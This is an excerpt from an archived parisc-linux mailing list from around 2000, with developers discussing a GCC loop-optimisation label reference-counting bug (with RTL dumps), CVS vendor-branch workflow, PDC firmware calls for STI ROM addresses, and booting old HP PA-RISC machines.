        (high:SI (label_ref:SI 1158))) -1 (nil)
    (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses])
        (nil)))

(insn 1532 1531 1535 (set (reg/f:SI 208)
        (lo_sum:SI (reg/f:SI 337)
            (label_ref:SI 1158))) -1 (nil)
    (expr_list:REG_EQUAL (label_ref:SI 1158)
        (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses])
            (nil))))

The code_label 1158 is deleted by delete_trivially_dead_insns apparently 
because the preceding call to loop_optimize in toplev.c has reduced the
number of uses to 1.  Maybe somebody can see how this occurs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 13:57:21 +1100 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012141355570.2565-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0012141124330.2565-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619430 8496 80.91.229.3 (22 Nov 2014 01:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jes@linuxcare.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Dec 13 19:55:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA06327
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 19:55:56 -0700
Original-Received: (qmail 25927 invoked by uid 15267); 14 Dec 2000 02:58:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25891 invoked from network); 14 Dec 2000 02:58:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 02:58:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA10587;
	Thu, 14 Dec 2000 13:57:21 +1100
In-Reply-To: <Pine.LNX.4.21.0012141124330.2565-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8884

On Thu, 14 Dec 2000, Alan Modra wrote:

> What I've got to do, I guess, is to commit my tree back to the main truck.
> eg. in the case of config.if, we want a version 1.2 which will be identcal
> to version 1.1.1.2

Seemed to work OK.  A "cvs update -d" in your gcc directory should now
fix your tree for you.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 13 Dec 2000 20:43:32 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <20289.976765412@upchuck>
References: <200012140048.TAA02603@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619430 8501 80.91.229.3 (22 Nov 2014 01:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:50 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Wed Dec 13 21:58:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA10985
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 21:58:29 -0700
Original-Received: (qmail 7026 invoked by uid 15267); 14 Dec 2000 05:00:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7013 invoked from network); 14 Dec 2000 05:00:57 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 05:00:57 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA29065
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 21:00:55 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id UAA20292;
	Wed, 13 Dec 2000 20:43:32 -0700
In-reply-to: Your message of Wed, 13 Dec 2000 19:48:21 EST.
             <200012140048.TAA02603@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:8885


  In message <200012140048.TAA02603@hiauly1.hia.nrc.ca>you write:
  > I have made some progress in locating this bug but still don't have a
  > complete understanding of the problem.  The problem is that a code_label
  > insn is "incorrectly" deleted in the loop pass.  Here is the rtl from
  > the gcse pass:
  > 
  > [snip]
  > 
  > (code_label 1158 1268 1439 124 "" "" [3 uses])
  > 
  > (note 1439 1158 262 [bb 12] NOTE_INSN_BASIC_BLOCK -1347440721)
  > 
  > (note 262 1439 1159 85 NOTE_INSN_EH_REGION_END -1347440721)
  > 
  > [snip]
  > 
  > (insn 788 787 789 (set (reg/f:SI 209)
  >         (high:SI (label_ref:SI 1158))) 87 {*pa.md:2435} (nil)
  >     (expr_list:REG_EQUAL (high:SI (label_ref:SI 1158))
  >         (insn_list:REG_LABEL 1158 (nil))))
  > 
  > (insn 789 788 791 (set (reg/f:SI 208)
  >         (lo_sum:SI (reg/f:SI 209)
  >             (label_ref:SI 1158))) 90 {*pa.md:2467} (nil)
  >     (insn_list:REG_LABEL 1158 (expr_list:REG_EQUAL (label_ref:SI 1158)
  >             (nil))))
  > 
  > Here is the rtl after loop:
  > 
  > Loop from 576 to 1288: 105 real insns.
  > Continue at insn 1278.
  > 
  > [snip]
  > 
  > Insn 788: regno 209 (life 2), move-insn savings 2  moved to 1530
  > Insn 789: regno 208 (life 1), move-insn forces 788 savings 1  moved to 1532
  > 
  > [snip]
  > 
  > (insn 1531 1528 1532 (set (reg/f:SI 337)
  >         (high:SI (label_ref:SI 1158))) -1 (nil)
  >     (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses])
  >         (nil)))
  > 
  > (insn 1532 1531 1535 (set (reg/f:SI 208)
  >         (lo_sum:SI (reg/f:SI 337)
  >             (label_ref:SI 1158))) -1 (nil)
  >     (expr_list:REG_EQUAL (label_ref:SI 1158)
  >         (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses
  > ])
  >             (nil))))
  > 
  > The code_label 1158 is deleted by delete_trivially_dead_insns apparently 
  > because the preceding call to loop_optimize in toplev.c has reduced the
  > number of uses to 1.  Maybe somebody can see how this occurs.
Seems to me we have a reference counting problem.  There is clearly 
a reference to label 1158 (insn 1531/1532), but it's reference count
is zero.

Seems to me that if you find that reference counting bug that you'll
fix this problem.

jeff


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 01:27:06 -0500
Organization: Legion of Mozilla
Lines: 19
Approved: news@gmane.org
Message-ID: <3A38683A.A2FCB51B@subcarrier.org>
References: <Pine.LNX.4.21.0012141355570.2565-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619430 8511 80.91.229.3 (22 Nov 2014 01:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: mang@subcarrier.org  Wed Dec 13 23:30:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA11926
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 23:30:07 -0700
Original-Received: (qmail 15886 invoked by uid 15267); 14 Dec 2000 06:32:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15865 invoked from network); 14 Dec 2000 06:32:55 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 06:32:55 -0000
Original-Received: (qmail 1960 invoked from network); 14 Dec 2000 06:32:19 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 14 Dec 2000 06:32:19 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8886

Yeah, that's exactly what you wanted to do.  After you ran the "admin
-b" command, the vendor branch was de-vendorised, so I'm guessing that
the next time you pulled you got the trunk, not the branch.  With vendor
branches, you never really know if you're pulling from a branch or the
trunk, hence our desire to avoid them.

	- Mike.

Alan Modra wrote:
> 
> On Thu, 14 Dec 2000, Alan Modra wrote:
> 
> > What I've got to do, I guess, is to commit my tree back to the main truck.
> > eg. in the case of config.if, we want a version 1.2 which will be identcal
> > to version 1.1.1.2
> 
> Seemed to work OK.  A "cvs update -d" in your gcc directory should now
> fix your tree for you.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 17:55:54 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012141742060.2565-100000@front.linuxcare.com.au>
References: <3A38683A.A2FCB51B@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619431 8522 80.91.229.3 (22 Nov 2014 01:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: alan@linuxcare.com.au  Wed Dec 13 23:53:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA12547
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 23:53:20 -0700
Original-Received: (qmail 1727 invoked by uid 15267); 14 Dec 2000 06:56:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1708 invoked from network); 14 Dec 2000 06:56:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 06:56:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA16776;
	Thu, 14 Dec 2000 17:55:54 +1100
In-Reply-To: <3A38683A.A2FCB51B@subcarrier.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8887

On Thu, 14 Dec 2000, Michael Ang wrote:

> Yeah, that's exactly what you wanted to do.  After you ran the "admin
> -b" command, the vendor branch was de-vendorised, so I'm guessing that
> the next time you pulled you got the trunk, not the branch.  With vendor
> branches, you never really know if you're pulling from a branch or the
> trunk, hence our desire to avoid them.

For answering, you're the lucky recipient of another question :-)

Is it possible to import a vendor branch that contains new files, without
them magically appearing when checking out the HEAD version?  I've just
done an import from sourceware, then had to rm all the new files, cvs rm,
cvs commit.  Which is a pain.  Also, unless people use "checkout -P", they
get empty directories.

Regards, Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Rom address location
Date: Thu, 14 Dec 2000 03:05:38 -0700 (MST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200012141005.DAA10850@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619431 8532 80.91.229.3 (22 Nov 2014 01:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:51 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: debackex@esiee.fr
Original-X-From: jsm@udlkern.fc.hp.com  Thu Dec 14 03:04:08 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA14706
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 03:04:07 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel1.hp.com (Postfix) with ESMTP id F399D10D0
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 02:06:53 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id DAA10850; Thu, 14 Dec 2000 03:05:38 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8888


Xavier,

> Hi, thanks for your help, but there are still some pbs...
>
> > IF the
> > add_addrs field is non-zero, THEN the second entry (i.e. the result
> > from a call to PDC_SYSTEM_MAP with the next index value) will contain the
> > address of the sti rom in the mod_addr field.
>

OK, I blew it.  I don't memorize this stuff.  I looked at the HP-UX code
to get this information, but I didn't go deep enough and misread the code.
There is a different call to PDC_SYSTEM_MAP for getting additional ranges.

Rather than trying to write up the explanation for how the
PDC_FIND_ADDRESS argument to PDC_SYSTEM_MAP works, I just decided to add
some support for the call and some debug code to the kernel to show how it
is used (the debug code is inside an #if 0 in inventory.c).  Basically,
the add_addrs field tells you how many additional address ranges there
are, and you need to call PDC_SYSTEM_MAP/PDC_FIND_ADDRESS to get them.
Note that calling PDC_FIND_ADDRESS with an address index of 0 just returns
the first address range that you got from the PDC_FIND_MODULE, so it is
redundant (i.e. you should make the first call with an address index of
1, which is what the debug code does).

You'll probably want to save the information returned from
PDC_FIND_ADDRESS for later.  Note that the register_module() call returns
a pointer to the associated hp_device structure, however we are ignoring
the return in the call in inventory.c.  If you save the return value,
perhaps the hp_device structure should be modified to hold the additional
ranges (or at least just the one additional range for the STI special
case).

...

> btw, all info I've found about PDC_SYSTEM_MAP was in pdc.pdf, just
> telling about the existence of such a procedure in chapter 2.2, but
> there's no more info about it (while ALL other procedures are explained
> in this book). This is just to get explained about the
> pdc_system_map_find_mods params.

I don't have any documentation for PDC_SYSTEM_MAP either. I just used
the HP-UX source for reference.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 10:20:32 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20001214102032.A17802@parcelfarce.linux.theplanet.co.uk>
References: <3A38683A.A2FCB51B@subcarrier.org> <Pine.LNX.4.21.0012141742060.2565-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619431 8541 80.91.229.3 (22 Nov 2014 01:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:51 +0000 (UTC)
Cc: Michael Ang <mang@subcarrier.org>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@www.linux.org.uk  Thu Dec 14 03:17:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA15418
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 03:17:55 -0700
Original-Received: (qmail 25652 invoked by uid 15267); 14 Dec 2000 10:20:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25641 invoked from network); 14 Dec 2000 10:20:44 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 10:20:44 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 146VV2-0004ql-00; Thu, 14 Dec 2000 10:20:32 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0012141742060.2565-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Dec 14, 2000 at 05:55:54PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8889

On Thu, Dec 14, 2000 at 05:55:54PM +1100, Alan Modra wrote:
> Is it possible to import a vendor branch that contains new files, without
> them magically appearing when checking out the HEAD version?  I've just
> done an import from sourceware, then had to rm all the new files, cvs rm,
> cvs commit.  Which is a pain.  Also, unless people use "checkout -P", they
> get empty directories.

this isn't an answer to your question, but...

cvs rm -f file both rm's it and removes it from the repository (obviously,
you need to cvs ci afterwards).
the cvsrc we distribute in the build-tools repository has -P for cvs up.

unfortunately, cvs doesn't seem to take the `-f' option from the .cvsrc
for the rm command.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Theander <Robin.Theander@tellabs.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Thu, 14 Dec 2000 12:01:06 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3A38A872.BF943E41@tellabs.com>
References: <3A374648.213EA4AC@de.origin-it.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619432 8549 80.91.229.3 (22 Nov 2014 01:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Robin.Theander@tellabs.com  Thu Dec 14 03:59:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA16180
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 03:59:17 -0700
Original-Received: (qmail 23043 invoked by uid 15267); 14 Dec 2000 11:01:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23033 invoked from network); 14 Dec 2000 11:01:57 -0000
Original-Received: from proxy.tellabs.fi (HELO mx.tellabs.fi) (193.65.253.34)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 11:01:57 -0000
Original-Received: from mxdk.dk.tellabs.com (mxdk.dk.tellabs.com [172.19.74.16])
	by mx.tellabs.fi (8.8.8/8.8.8) with ESMTP id NAA05496
	for <parisc-linux@thepuffingroup.com>; Thu, 14 Dec 2000 13:01:15 +0200 (EET)
Original-Received: from tellabs.com (pc-rtheande.dk.tellabs.com [172.19.62.43])
	by mxdk.dk.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id MAA05102
	for <parisc-linux@thepuffingroup.com>; Thu, 14 Dec 2000 12:01:15 +0100 (MET)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8890


Well not really a boot problem but a few related questions.
If I do a
boot scsi.6.0 isl
palo displays the "options" menu and asks for some action (number or
'b').
At this point the box is dead - no response from keyboard or serial.
Is this supposed to work on this HW?

Can I control the console output (serial or STI/PDC) with a console=...
parameter in the boot string. This is the CDROM 0.5 stock kernel+palo
installed on a HD.
Can I change the /dev/console device numbers to do the same?
Before I get too far.. Is the STI mode working at all on a 712/60? The
docs and reports are a bit vague on this.

TIA.

Regards,

Robin.


Matthias.Wientapper@de.origin-it.com wrote:
> (ASIC-Designers love their HPs, eh?)

Well, we are doing all the ASIC work on Suns - and I'm edging PC's with
Linux in where I can. My 712/60 is an old decommissioned dns server.
Getting rid of H-PUX makes it a great toy - thanks guys.

-- 
ASIC Design Engineer
Tellabs Denmark A/S

Direct: +45 4473 2942
robin.theander@tellabs.com


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Thu, 14 Dec 2000 11:40:04 -0500 (EST)
Lines: 74
Approved: news@gmane.org
Message-ID: <200012141640.LAA03285@hiauly1.hia.nrc.ca>
References: <20289.976765412@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619432 8560 80.91.229.3 (22 Nov 2014 01:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:52 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Dec 14 09:37:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22475
	for <parisc-linux@puffin.external.hp.com>; Thu, 14 Dec 2000 09:37:56 -0700
Original-Received: (qmail 23531 invoked by uid 15267); 14 Dec 2000 16:40:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23520 invoked from network); 14 Dec 2000 16:40:28 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 16:40:28 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA03285;
	Thu, 14 Dec 2000 11:40:04 -0500 (EST)
In-Reply-To: <20289.976765412@upchuck> from "Jeffrey A Law" at Dec 13, 2000 08:43:32 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8891

>   In message <200012140048.TAA02603@hiauly1.hia.nrc.ca>you write:
>   > I have made some progress in locating this bug but still don't have a
>   > complete understanding of the problem.  The problem is that a code_label
>   > insn is "incorrectly" deleted in the loop pass.  Here is the rtl from
>   > the gcse pass:
>   > 
>   > [snip]
>   > 
>   > (code_label 1158 1268 1439 124 "" "" [3 uses])
>   > 
>   > (note 1439 1158 262 [bb 12] NOTE_INSN_BASIC_BLOCK -1347440721)
>   > 
>   > (note 262 1439 1159 85 NOTE_INSN_EH_REGION_END -1347440721)
>   > 
>   > [snip]
>   > 
>   > (insn 788 787 789 (set (reg/f:SI 209)
>   >         (high:SI (label_ref:SI 1158))) 87 {*pa.md:2435} (nil)
>   >     (expr_list:REG_EQUAL (high:SI (label_ref:SI 1158))
>   >         (insn_list:REG_LABEL 1158 (nil))))
>   > 
>   > (insn 789 788 791 (set (reg/f:SI 208)
>   >         (lo_sum:SI (reg/f:SI 209)
>   >             (label_ref:SI 1158))) 90 {*pa.md:2467} (nil)
>   >     (insn_list:REG_LABEL 1158 (expr_list:REG_EQUAL (label_ref:SI 1158)
>   >             (nil))))
>   > 
>   > Here is the rtl after loop:
>   > 
>   > Loop from 576 to 1288: 105 real insns.
>   > Continue at insn 1278.
>   > 
>   > [snip]
>   > 
>   > Insn 788: regno 209 (life 2), move-insn savings 2  moved to 1530
>   > Insn 789: regno 208 (life 1), move-insn forces 788 savings 1  moved to 1532
>   > 
>   > [snip]
>   > 
>   > (insn 1531 1528 1532 (set (reg/f:SI 337)
>   >         (high:SI (label_ref:SI 1158))) -1 (nil)
>   >     (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses])
>   >         (nil)))
>   > 
>   > (insn 1532 1531 1535 (set (reg/f:SI 208)
>   >         (lo_sum:SI (reg/f:SI 337)
>   >             (label_ref:SI 1158))) -1 (nil)
>   >     (expr_list:REG_EQUAL (label_ref:SI 1158)
>   >         (expr_list:REG_LABEL (code_label/v 1158 1268 1439 124 "" "" [0 uses
>   > ])
>   >             (nil))))
>   > 
>   > The code_label 1158 is deleted by delete_trivially_dead_insns apparently 
>   > because the preceding call to loop_optimize in toplev.c has reduced the
>   > number of uses to 1.  Maybe somebody can see how this occurs.
> Seems to me we have a reference counting problem.  There is clearly 
> a reference to label 1158 (insn 1531/1532), but it's reference count
> is zero.

That's what I thought.  It would appear to occur when the above two insns
get moved out of a loop.  The count gets decremented when the old insns
are deleted but not incremented when the new insns are created.  The puzzle
is why the count is zero rather than 1.  Maybe what happens is the two
insns in the loop are deleted first, then the label is deleted?  Notice
that insn 788 is moved to insn 1530.  However, the insn becomes 1531 and
the reg changes to 337 from 208.

I will try to step through the code later.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A180 Ignition Howto
Date: 12 May 1999 00:31:45 +0200
Organization: Church of Emacs
Lines: 40
Approved: news@gmane.org
Message-ID: <yq1vhdz9r1q.fsf@jaguar.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619432 8570 80.91.229.3 (22 Nov 2014 01:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mkp@socsci.auc.dk  Tue May 11 16:31:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10397
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 May 1999 16:31:51 -0600
Original-Received: (qmail 2539 invoked by uid 15267); 11 May 1999 22:31:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2532 invoked from network); 11 May 1999 22:31:32 -0000
Original-Received: from bentley.socsci.auc.dk (exim@130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 11 May 1999 22:31:32 -0000
Original-Received: from jaguar.socsci.auc.dk ([130.225.60.49] ident=root)
	by bentley.socsci.auc.dk with esmtp (Exim 2.05 #2)
	id 10hL3y-0006E1-00; Wed, 12 May 1999 00:31:46 +0200
Original-Received: (from mkp@localhost)
	by jaguar.socsci.auc.dk (8.9.3/8.8.8) id AAA24128;
	Wed, 12 May 1999 00:31:45 +0200
Original-Sender: mkp@socsci.auc.dk
Original-Lines: 39
Xref: news.gmane.org gmane.linux.ports.parisc:8892


Alex asked me to post this...

My A180 arrived a couple of days ago.

Just like any other HP box there are loads of HP-UX docs but no
information on the hardware at all. Grrr. HP. When will you ever
learn?

